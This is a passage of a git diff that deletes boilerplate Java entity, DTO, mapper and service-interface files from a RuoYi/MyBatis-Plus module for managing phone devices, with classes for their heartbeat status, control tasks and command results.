getScreenOn() - { - return screenOn; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("deviceId", getDeviceId()) - .append("battery", getBattery()) - .append("networkType", getNetworkType()) - .append("cpuUsage", getCpuUsage()) - .append("memoryUsage", getMemoryUsage()) - .append("screenOn", getScreenOn()) - .append("createdAt", getCreatedAt()) - .append("updatedAt", getUpdatedAt()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskCommand.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskCommand.java deleted file mode 100644 index 4b52bdd..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskCommand.java +++ /dev/null @@ -1,96 +0,0 @@ -package com.luqj.ec.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 任务指令明细(一个任务多条指令)对象 ec_task_command - * - * @author luqj - * @date 2026-02-27 - */ -public class EcTaskCommand extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - - /** 任务ID */ - @Excel(name = "任务ID") - private Long taskId; - - /** 执行顺序 */ - @Excel(name = "执行顺序") - private Long stepOrder; - - /** 指令类型 */ - @Excel(name = "指令类型") - private String commandType; - - /** 指令参数 */ - @Excel(name = "指令参数") - private String commandContent; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setTaskId(Long taskId) - { - this.taskId = taskId; - } - - public Long getTaskId() - { - return taskId; - } - public void setStepOrder(Long stepOrder) - { - this.stepOrder = stepOrder; - } - - public Long getStepOrder() - { - return stepOrder; - } - public void setCommandType(String commandType) - { - this.commandType = commandType; - } - - public String getCommandType() - { - return commandType; - } - public void setCommandContent(String commandContent) - { - this.commandContent = commandContent; - } - - public String getCommandContent() - { - return commandContent; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("taskId", getTaskId()) - .append("stepOrder", getStepOrder()) - .append("commandType", getCommandType()) - .append("commandContent", getCommandContent()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskCommandPlus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskCommandPlus.java deleted file mode 100644 index 9964c6c..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskCommandPlus.java +++ /dev/null @@ -1,94 +0,0 @@ -package com.luqj.ec.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 任务指令明细(一个任务多条指令)对象 ec_task_command - * - * @author luqj - * @date 2026-02-27 - */ -@TableName(value = "ec_task_command") -public class EcTaskCommandPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - /** 任务ID */ - @Excel(name = "任务ID") - private Long taskId; - /** 执行顺序 */ - @Excel(name = "执行顺序") - private Long stepOrder; - /** 指令类型 */ - @Excel(name = "指令类型") - private String commandType; - /** 指令参数 */ - @Excel(name = "指令参数") - private String commandContent; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setTaskId(Long taskId) - { - this.taskId = taskId; - } - - public Long getTaskId() - { - return taskId; - } - public void setStepOrder(Long stepOrder) - { - this.stepOrder = stepOrder; - } - - public Long getStepOrder() - { - return stepOrder; - } - public void setCommandType(String commandType) - { - this.commandType = commandType; - } - - public String getCommandType() - { - return commandType; - } - public void setCommandContent(String commandContent) - { - this.commandContent = commandContent; - } - - public String getCommandContent() - { - return commandContent; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("taskId", getTaskId()) - .append("stepOrder", getStepOrder()) - .append("commandType", getCommandType()) - .append("commandContent", getCommandContent()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskDevice.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskDevice.java deleted file mode 100644 index 883ad9f..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskDevice.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 任务-设备关联(一任务多设备)对象 ec_task_device - * - * @author luqj - * @date 2026-02-27 - */ -public class EcTaskDevice extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - - /** 任务ID */ - @Excel(name = "任务ID") - private Long taskId; - - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date updatedAt; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setTaskId(Long taskId) - { - this.taskId = taskId; - } - - public Long getTaskId() - { - return taskId; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("taskId", getTaskId()) - .append("deviceId", getDeviceId()) - .append("status", getStatus()) - .append("updatedAt", getUpdatedAt()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskDevicePlus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskDevicePlus.java deleted file mode 100644 index e87a672..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcTaskDevicePlus.java +++ /dev/null @@ -1,98 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 任务-设备关联(一任务多设备)对象 ec_task_device - * - * @author luqj - * @date 2026-02-27 - */ -@TableName(value = "ec_task_device") -public class EcTaskDevicePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - /** 任务ID */ - @Excel(name = "任务ID") - private Long taskId; - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date updatedAt; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setTaskId(Long taskId) - { - this.taskId = taskId; - } - - public Long getTaskId() - { - return taskId; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setUpdatedAt(Date updatedAt) - { - this.updatedAt = updatedAt; - } - - public Date getUpdatedAt() - { - return updatedAt; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("taskId", getTaskId()) - .append("deviceId", getDeviceId()) - .append("status", getStatus()) - .append("updatedAt", getUpdatedAt()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/dto/EcDeviceHeartbeatDto.java b/luqj-ec/src/main/java/com/luqj/ec/domain/dto/EcDeviceHeartbeatDto.java deleted file mode 100644 index 514bb36..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/dto/EcDeviceHeartbeatDto.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.luqj.ec.domain.dto; - -import java.io.Serializable; - -public class EcDeviceHeartbeatDto implements Serializable { - private static final long serialVersionUID = 1L; - - private String deviceCode; - private String ipAddress; - - public String getDeviceCode() { - return deviceCode; - } - - public void setDeviceCode(String deviceCode) { - this.deviceCode = deviceCode; - } - - public String getIpAddress() { - return ipAddress; - } - - public void setIpAddress(String ipAddress) { - this.ipAddress = ipAddress; - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/dto/EcDeviceReportDto.java b/luqj-ec/src/main/java/com/luqj/ec/domain/dto/EcDeviceReportDto.java deleted file mode 100644 index d740d46..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/dto/EcDeviceReportDto.java +++ /dev/null @@ -1,125 +0,0 @@ -package com.luqj.ec.domain.dto; - -import java.io.Serializable; - -public class EcDeviceReportDto implements Serializable { - private static final long serialVersionUID = 1L; - - private String deviceCode; - private String brand; - private String model; - private String osType; - private String osVersion; - private String appVersion; - private String ipAddress; - private Integer widthNum; - private Integer heightNum; - private Integer controlType; - private Long appId; - private Long userId; - private String secretKey; - - public String getDeviceCode() { - return deviceCode; - } - - public void setDeviceCode(String deviceCode) { - this.deviceCode = deviceCode; - } - - public String getBrand() { - return brand; - } - - public void setBrand(String brand) { - this.brand = brand; - } - - public String getModel() { - return model; - } - - public void setModel(String model) { - this.model = model; - } - - public String getOsType() { - return osType; - } - - public void setOsType(String osType) { - this.osType = osType; - } - - public String getOsVersion() { - return osVersion; - } - - public void setOsVersion(String osVersion) { - this.osVersion = osVersion; - } - - public String getAppVersion() { - return appVersion; - } - - public void setAppVersion(String appVersion) { - this.appVersion = appVersion; - } - - public String getIpAddress() { - return ipAddress; - } - - public void setIpAddress(String ipAddress) { - this.ipAddress = ipAddress; - } - - public Integer getWidthNum() { - return widthNum; - } - - public void setWidthNum(Integer widthNum) { - this.widthNum = widthNum; - } - - public Integer getHeightNum() { - return heightNum; - } - - public void setHeightNum(Integer heightNum) { - this.heightNum = heightNum; - } - - public Integer getControlType() { - return controlType; - } - - public void setControlType(Integer controlType) { - this.controlType = controlType; - } - - public Long getAppId() { - return appId; - } - - public void setAppId(Long appId) { - this.appId = appId; - } - - public Long getUserId() { - return userId; - } - - public void setUserId(Long userId) { - this.userId = userId; - } - - public String getSecretKey() { - return secretKey; - } - - public void setSecretKey(String secretKey) { - this.secretKey = secretKey; - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcCommandResultMapper.java b/luqj-ec/src/main/java/com/luqj/ec/mapper/EcCommandResultMapper.java deleted file mode 100644 index e716bc2..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcCommandResultMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.ec.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.ec.domain.EcCommandResult; -import com.luqj.ec.domain.EcCommandResultPlus; - -/** - * 指令执行结果(客户端回传)Mapper接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface EcCommandResultMapper extends BaseMapper -{ - /** - * 查询指令执行结果(客户端回传) - * - * @param id 指令执行结果(客户端回传)ID - * @return 指令执行结果(客户端回传) - */ - public EcCommandResult selectEcCommandResultById(Long id); - - /** - * 查询指令执行结果(客户端回传)列表 - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 指令执行结果(客户端回传)集合 - */ - public List selectEcCommandResultList(EcCommandResult ecCommandResult); - - /** - * 新增指令执行结果(客户端回传) - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 结果 - */ - public int insertEcCommandResult(EcCommandResult ecCommandResult); - - /** - * 修改指令执行结果(客户端回传) - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 结果 - */ - public int updateEcCommandResult(EcCommandResult ecCommandResult); - - /** - * 删除指令执行结果(客户端回传) - * - * @param id 指令执行结果(客户端回传)ID - * @return 结果 - */ - public int deleteEcCommandResultById(Long id); - - /** - * 批量删除指令执行结果(客户端回传) - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteEcCommandResultByIds(Long[] ids); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcControlTaskMapper.java b/luqj-ec/src/main/java/com/luqj/ec/mapper/EcControlTaskMapper.java deleted file mode 100644 index 305d293..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcControlTaskMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.ec.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.ec.domain.EcControlTask; -import com.luqj.ec.domain.EcControlTaskPlus; - -/** - * 任务(群控核心)Mapper接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface EcControlTaskMapper extends BaseMapper -{ - /** - * 查询任务(群控核心) - * - * @param id 任务(群控核心)ID - * @return 任务(群控核心) - */ - public EcControlTask selectEcControlTaskById(Long id); - - /** - * 查询任务(群控核心)列表 - * - * @param ecControlTask 任务(群控核心) - * @return 任务(群控核心)集合 - */ - public List selectEcControlTaskList(EcControlTask ecControlTask); - - /** - * 新增任务(群控核心) - * - * @param ecControlTask 任务(群控核心) - * @return 结果 - */ - public int insertEcControlTask(EcControlTask ecControlTask); - - /** - * 修改任务(群控核心) - * - * @param ecControlTask 任务(群控核心) - * @return 结果 - */ - public int updateEcControlTask(EcControlTask ecControlTask); - - /** - * 删除任务(群控核心) - * - * @param id 任务(群控核心)ID - * @return 结果 - */ - public int deleteEcControlTaskById(Long id); - - /** - * 批量删除任务(群控核心) - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteEcControlTaskByIds(Long[] ids); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceCommandMapper.java b/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceCommandMapper.java deleted file mode 100644 index 403cc4c..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceCommandMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.ec.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.ec.domain.EcDeviceCommand; -import com.luqj.ec.domain.EcDeviceCommandPlus; - -/** - * 控制指令(单条指令)Mapper接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface EcDeviceCommandMapper extends BaseMapper -{ - /** - * 查询控制指令(单条指令) - * - * @param id 控制指令(单条指令)ID - * @return 控制指令(单条指令) - */ - public EcDeviceCommand selectEcDeviceCommandById(Long id); - - /** - * 查询控制指令(单条指令)列表 - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 控制指令(单条指令)集合 - */ - public List selectEcDeviceCommandList(EcDeviceCommand ecDeviceCommand); - - /** - * 新增控制指令(单条指令) - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 结果 - */ - public int insertEcDeviceCommand(EcDeviceCommand ecDeviceCommand); - - /** - * 修改控制指令(单条指令) - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 结果 - */ - public int updateEcDeviceCommand(EcDeviceCommand ecDeviceCommand); - - /** - * 删除控制指令(单条指令) - * - * @param id 控制指令(单条指令)ID - * @return 结果 - */ - public int deleteEcDeviceCommandById(Long id); - - /** - * 批量删除控制指令(单条指令) - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteEcDeviceCommandByIds(Long[] ids); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceMapper.java b/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceMapper.java deleted file mode 100644 index 1f8712a..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.ec.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.ec.domain.EcDevice; -import com.luqj.ec.domain.EcDevicePlus; - -/** - * 设备(手机设备)Mapper接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface EcDeviceMapper extends BaseMapper -{ - /** - * 查询设备(手机设备) - * - * @param id 设备(手机设备)ID - * @return 设备(手机设备) - */ - public EcDevice selectEcDeviceById(Long id); - - /** - * 查询设备(手机设备)列表 - * - * @param ecDevice 设备(手机设备) - * @return 设备(手机设备)集合 - */ - public List selectEcDeviceList(EcDevice ecDevice); - - /** - * 新增设备(手机设备) - * - * @param ecDevice 设备(手机设备) - * @return 结果 - */ - public int insertEcDevice(EcDevice ecDevice); - - /** - * 修改设备(手机设备) - * - * @param ecDevice 设备(手机设备) - * @return 结果 - */ - public int updateEcDevice(EcDevice ecDevice); - - /** - * 删除设备(手机设备) - * - * @param id 设备(手机设备)ID - * @return 结果 - */ - public int deleteEcDeviceById(Long id); - - /** - * 批量删除设备(手机设备) - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteEcDeviceByIds(Long[] ids); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceStatusMapper.java b/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceStatusMapper.java deleted file mode 100644 index b3909a5..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcDeviceStatusMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.ec.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.ec.domain.EcDeviceStatus; -import com.luqj.ec.domain.EcDeviceStatusPlus; - -/** - * 设备心跳 & 状态(高频)Mapper接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface EcDeviceStatusMapper extends BaseMapper -{ - /** - * 查询设备心跳 & 状态(高频) - * - * @param id 设备心跳 & 状态(高频)ID - * @return 设备心跳 & 状态(高频) - */ - public EcDeviceStatus selectEcDeviceStatusById(Long id); - - /** - * 查询设备心跳 & 状态(高频)列表 - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 设备心跳 & 状态(高频)集合 - */ - public List selectEcDeviceStatusList(EcDeviceStatus ecDeviceStatus); - - /** - * 新增设备心跳 & 状态(高频) - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 结果 - */ - public int insertEcDeviceStatus(EcDeviceStatus ecDeviceStatus); - - /** - * 修改设备心跳 & 状态(高频) - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 结果 - */ - public int updateEcDeviceStatus(EcDeviceStatus ecDeviceStatus); - - /** - * 删除设备心跳 & 状态(高频) - * - * @param id 设备心跳 & 状态(高频)ID - * @return 结果 - */ - public int deleteEcDeviceStatusById(Long id); - - /** - * 批量删除设备心跳 & 状态(高频) - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteEcDeviceStatusByIds(Long[] ids); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcTaskCommandMapper.java b/luqj-ec/src/main/java/com/luqj/ec/mapper/EcTaskCommandMapper.java deleted file mode 100644 index 1188938..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcTaskCommandMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.ec.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.ec.domain.EcTaskCommand; -import com.luqj.ec.domain.EcTaskCommandPlus; - -/** - * 任务指令明细(一个任务多条指令)Mapper接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface EcTaskCommandMapper extends BaseMapper -{ - /** - * 查询任务指令明细(一个任务多条指令) - * - * @param id 任务指令明细(一个任务多条指令)ID - * @return 任务指令明细(一个任务多条指令) - */ - public EcTaskCommand selectEcTaskCommandById(Long id); - - /** - * 查询任务指令明细(一个任务多条指令)列表 - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 任务指令明细(一个任务多条指令)集合 - */ - public List selectEcTaskCommandList(EcTaskCommand ecTaskCommand); - - /** - * 新增任务指令明细(一个任务多条指令) - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 结果 - */ - public int insertEcTaskCommand(EcTaskCommand ecTaskCommand); - - /** - * 修改任务指令明细(一个任务多条指令) - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 结果 - */ - public int updateEcTaskCommand(EcTaskCommand ecTaskCommand); - - /** - * 删除任务指令明细(一个任务多条指令) - * - * @param id 任务指令明细(一个任务多条指令)ID - * @return 结果 - */ - public int deleteEcTaskCommandById(Long id); - - /** - * 批量删除任务指令明细(一个任务多条指令) - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteEcTaskCommandByIds(Long[] ids); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcTaskDeviceMapper.java b/luqj-ec/src/main/java/com/luqj/ec/mapper/EcTaskDeviceMapper.java deleted file mode 100644 index c99cad0..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/mapper/EcTaskDeviceMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.ec.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.ec.domain.EcTaskDevice; -import com.luqj.ec.domain.EcTaskDevicePlus; - -/** - * 任务-设备关联(一任务多设备)Mapper接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface EcTaskDeviceMapper extends BaseMapper -{ - /** - * 查询任务-设备关联(一任务多设备) - * - * @param id 任务-设备关联(一任务多设备)ID - * @return 任务-设备关联(一任务多设备) - */ - public EcTaskDevice selectEcTaskDeviceById(Long id); - - /** - * 查询任务-设备关联(一任务多设备)列表 - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 任务-设备关联(一任务多设备)集合 - */ - public List selectEcTaskDeviceList(EcTaskDevice ecTaskDevice); - - /** - * 新增任务-设备关联(一任务多设备) - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 结果 - */ - public int insertEcTaskDevice(EcTaskDevice ecTaskDevice); - - /** - * 修改任务-设备关联(一任务多设备) - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 结果 - */ - public int updateEcTaskDevice(EcTaskDevice ecTaskDevice); - - /** - * 删除任务-设备关联(一任务多设备) - * - * @param id 任务-设备关联(一任务多设备)ID - * @return 结果 - */ - public int deleteEcTaskDeviceById(Long id); - - /** - * 批量删除任务-设备关联(一任务多设备) - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteEcTaskDeviceByIds(Long[] ids); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/IEcCommandResultService.java b/luqj-ec/src/main/java/com/luqj/ec/service/IEcCommandResultService.java deleted file mode 100644 index 25b525c..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/IEcCommandResultService.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.ec.service; -import java.util.Map; -import java.util.List; -import com.luqj.ec.domain.EcCommandResult; -import com.luqj.ec.domain.EcCommandResultPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * 指令执行结果(客户端回传)Service接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface IEcCommandResultService extends IService -{ - - List select(String keyword); - /** - * 查询指令执行结果(客户端回传) - * - * @param id 指令执行结果(客户端回传)ID - * @return 指令执行结果(客户端回传) - */ - public EcCommandResult selectEcCommandResultById(Long id); - - /** - * 查询指令执行结果(客户端回传)列表 - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 指令执行结果(客户端回传)集合 - */ - public List selectEcCommandResultList(EcCommandResult ecCommandResult); - - /** - * 新增指令执行结果(客户端回传) - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 结果 - */ - public int insertEcCommandResult(EcCommandResult ecCommandResult); - - /** - * 修改指令执行结果(客户端回传) - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 结果 - */ - public int updateEcCommandResult(EcCommandResult ecCommandResult); - - /** - * 批量删除指令执行结果(客户端回传) - * - * @param ids 需要删除的指令执行结果(客户端回传)ID - * @return 结果 - */ - public int deleteEcCommandResultByIds(Long[] ids); - - /** - * 删除指令执行结果(客户端回传)信息 - * - * @param id 指令执行结果(客户端回传)ID - * @return 结果 - */ - public int deleteEcCommandResultById(Long id); - - List getByIds(List ids, SFunction... columns); - - EcCommandResultPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/IEcControlTaskService.java b/luqj-ec/src/main/java/com/luqj/ec/service/IEcControlTaskService.java deleted file mode 100644 index 43a8cdc..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/IEcControlTaskService.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.ec.service; -import java.util.Map; -import java.util.List; -import com.luqj.ec.domain.EcControlTask; -import com.luqj.ec.domain.EcControlTaskPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * 任务(群控核心)Service接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface IEcControlTaskService extends IService -{ - - List select(String keyword); - /** - * 查询任务(群控核心) - * - * @param id 任务(群控核心)ID - * @return 任务(群控核心) - */ - public EcControlTask selectEcControlTaskById(Long id); - - /** - * 查询任务(群控核心)列表 - * - * @param ecControlTask 任务(群控核心) - * @return 任务(群控核心)集合 - */ - public List selectEcControlTaskList(EcControlTask ecControlTask); - - /** - * 新增任务(群控核心) - * - * @param ecControlTask 任务(群控核心) - * @return 结果 - */ - public int insertEcControlTask(EcControlTask ecControlTask); - - /** - * 修改任务(群控核心) - * - * @param ecControlTask 任务(群控核心) - * @return 结果 - */ - public int updateEcControlTask(EcControlTask ecControlTask); - - /** - * 批量删除任务(群控核心) - * - * @param ids 需要删除的任务(群控核心)ID - * @return 结果 - */ - public int deleteEcControlTaskByIds(Long[] ids); - - /** - * 删除任务(群控核心)信息 - * - * @param id 任务(群控核心)ID - * @return 结果 - */ - public int deleteEcControlTaskById(Long id); - - List getByIds(List ids, SFunction... columns); - - EcControlTaskPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceCommandService.java b/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceCommandService.java deleted file mode 100644 index 837cf6c..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceCommandService.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.ec.service; -import java.util.Map; -import java.util.List; -import com.luqj.ec.domain.EcDeviceCommand; -import com.luqj.ec.domain.EcDeviceCommandPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * 控制指令(单条指令)Service接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface IEcDeviceCommandService extends IService -{ - - List select(String keyword); - /** - * 查询控制指令(单条指令) - * - * @param id 控制指令(单条指令)ID - * @return 控制指令(单条指令) - */ - public EcDeviceCommand selectEcDeviceCommandById(Long id); - - /** - * 查询控制指令(单条指令)列表 - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 控制指令(单条指令)集合 - */ - public List selectEcDeviceCommandList(EcDeviceCommand ecDeviceCommand); - - /** - * 新增控制指令(单条指令) - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 结果 - */ - public int 